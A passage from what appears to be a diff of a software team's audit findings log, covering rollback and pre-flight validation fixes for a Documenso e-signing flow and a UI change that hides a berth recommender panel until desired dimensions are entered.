envelope from the moment Documenso returns the id; rollback paths can find and void it. Catches future failures + future-proofs orphans. + 2. **Pre-flight validation hard-blocks Submit** (P1.2). UploadForSigningDialog computes a `submissionErrors` memo over recipients + fields. Submit button disabled when errors > 0. Inline amber summary lists every issue (missing email, invalid email, missing name, field assigned to non-existent recipient, no fields placed). Service layer also enforces the same checks (email regex + name presence) so direct API hits reject just as hard. No "I know there's a missing email" override. + 3. **State-machine refactor with `rollbackTo()` helper** (P1.5). Replaces three independent try/catches with one sequenced try around `create → send → place` and a single catch that calls `rollbackTo(reason)`. Tracks `state.step` + `state.documensoDocId` so future inserts (metadata writes between steps, etc.) inherit the rollback automatically. Idempotent — status flip is a no-op on a second call, voidDocument treats 404 as success. + 4. **Recipient ↔ Documenso identity reconciliation** (P1.6). After `documensoSend`, validates every distinct email we sent appears in `sentDoc.recipients`. If Documenso silently dropped one, a `ConflictError` fires before field placement so the rollback path triggers. Explicit error message names the missing email(s) for diagnosis. + 5. **End-to-end test coverage + per-failure audit-log entries** (P1.7). vitest suite extended with: blank email, whitespace-only email, malformed email, blank name, duplicate-emails-OK (Documenso dedupe semantic). `rollbackTo` writes a structured audit_log entry (`status=cancelled`, `failedStep`, `documensoEnvelopeId`, `errorClass`, `errorMessage`) so post-mortem investigation has structured data instead of pre-existing logger lines alone. +- **Still open (acknowledged but lower priority):** + - **Idempotency on retry** — if the rep hits Send twice, do we double-create envelopes? Today the dialog disables the button while `sendMutation.isPending` so it's mitigated at the UI; service-layer guard via checking `documents.documensoId` before another `documensoCreate` would be belt-and-braces. Queued for follow-up. +- **Cross-refs:** + - The `/documents/new` wizard refactor (Bucket 3 — wizard refactor finding) touches the same end-to-end flow — bundle the two so the same audit doesn't re-investigate the upload-for-signing service twice. + - This is the SECOND time a multi-step Documenso flow has had a rollback gap — the first was the EOI auto-cancel/replace flow (fixed earlier in `65ff596`). Pattern: every multi-step orchestration that touches Documenso needs end-to-end rollback OR pre-flight validation. The audit doc's broader "activity feed comprehensive copy" finding mentioned a similar discipline gap; both should land before more multi-step features ship. +- **Open questions for the user:** + 1. **Are you okay with the comprehensive audit being one larger PR (~1-2 days focused), or should it ship as discrete sub-PRs (pre-flight + state-machine + tests)?** Trade-off: single PR is faster but harder to review; sub-PRs are reviewable but you'd see intermediate states. + 2. **Should the pre-flight validation block the dialog Submit button entirely, or surface an inline error and let the rep submit anyway (with "I know there's a missing email" override)?** Default proposal: hard block — Documenso's API can't recover from missing emails, so submitting anyway is guaranteed-to-fail. + +### BerthRecommenderPanel — hide entirely when no desired dimensions set + +- **`SHIPPED locally (not yet committed)`** +- **Files touched:** _src/components/interests/interest-tabs.tsx_ (~line 1467 Overview inline render + ~line 1577 dedicated tab entry + ~line 1521 hasDesiredDims gate variable + ~line 711 OverviewTab inner gate). +- **React-grab anchor:** `
` in `Card` in `BerthRecommenderPanel`. +- **Symptom:** the recommender card rendered even when the rep hadn't entered any desired dimensions on the interest — surfacing only the "Set desired dimensions to see recommendations." guidance subtitle. User flagged that the card AND the dedicated "Berth Recommendations" tab should both be hidden in that state so reps aren't distracted by an empty placeholder. +- **Root cause:** previous design intentionally kept the panel always-mounted with inline guidance ("plan §5.3 — always-mounted card driven by the interest's desired dimensions"). User-experience preference now flips that to hide-entirely. +- **Fix applied:** + 1. Computed `hasDesiredDims = toNum(interest.desiredLengthFt) !== null` once near the top of the InterestTabs component, and once inside OverviewTab (because the Overview's inline render lives inside the child). + 2. Overview tab's BerthRecommenderPanel mount wrapped in `{hasDesiredDims ? : null}` — disappears entirely until length is captured. + 3. Dedicated "Berth Recommendations" tab object spread conditionally into the tabs array (`...(hasDesiredDims ? [tabObject] : [])`) so the tab strip's tab itself vanishes — not just the content. Rep doesn't get a dead-end tab. +- **Why gate on length only (not all three dimensions):** length is the primary ranking input in the recommender's SQL; width / draft fall back to length when missing. Requiring all three would hide the panel for partial-data interests where the recommender still has signal. +- **Alternatives considered + rejected:** + - Show the panel but collapsed by default — rejected because reps still see the empty card; defeats the user's "hide entirely" ask. + - Keep the dedicated tab but show the empty-state inside — rejected for the same reason; the user wants the tab gone too. +- **Effort:** ~15 min. +- **Cross-refs:** related to the Bucket 3 wizard refactor / OverviewTab inheritance finding — both touch what gets shown to a rep on the Overview tab as a function of what data is present. +- **Acceptance criteria:** an interest with `desiredLengthFt = NULL` shows no recommender card on Overview AND no "Berth Recommendations" tab in the strip. Setting desired length via the inline editor causes both to appear immediately (TanStack Query refetch). + +### Per-berth public-map flag — should inherit on subsequent surfaces + +- **`OPEN — needs user clarification on which surface specifically`** +- **React-grab anchor:** `